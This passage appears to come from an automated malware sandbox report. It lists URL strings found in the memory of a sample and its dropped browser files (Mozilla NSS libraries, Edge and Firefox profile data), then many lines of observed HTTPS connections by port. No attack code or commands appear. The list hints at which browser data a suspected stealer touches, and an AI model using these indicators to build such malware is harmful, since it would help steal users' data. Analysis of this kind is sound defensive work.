Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_474.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_474.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: FBFIDBFHDBGIDHJJEGHIIDAFID.0.dr	String found in binary or memory: https://support.mozilla.org
Source: FBFIDBFHDBGIDHJJEGHIIDAFID.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FBFIDBFHDBGIDHJJEGHIIDAFID.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_474.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2545619670.0000000023C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2545619670.0000000023C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2522496997.0000000001414000.00000004.00000020.00020000.00000000.sdmp, AFHDGDGI.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: AFHDGDGI.0.dr, Web Data.9.dr, EGDBAFHJ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 950928c3-4e22-455d-96cf-c99af1c96871.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_474.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_474.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: FBFIDBFHDBGIDHJJEGHIIDAFID.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2518469068.0000000000934000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2518469068.0000000000934000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/e
Source: FBFIDBFHDBGIDHJJEGHIIDAFID.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2518469068.0000000000934000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2518469068.0000000000934000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2518469068.0000000000A17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2518469068.0000000000A17000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: FBFIDBFHDBGIDHJJEGHIIDAFID.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2518469068.0000000000934000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2461557627.0000000023D70000.00000004.00000020.00020000.00000000.sdmp, FBFIDBFHDBGIDHJJEGHIIDAFID.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: FBFIDBFHDBGIDHJJEGHIIDAFID.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2461557627.0000000023D70000.00000004.00000020.00020000.00000000.sdmp, FBFIDBFHDBGIDHJJEGHIIDAFID.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2518469068.0000000000934000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2461557627.0000000023D70000.00000004.00000020.00020000.00000000.sdmp, FBFIDBFHDBGIDHJJEGHIIDAFID.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2518469068.0000000000934000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 49461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49463
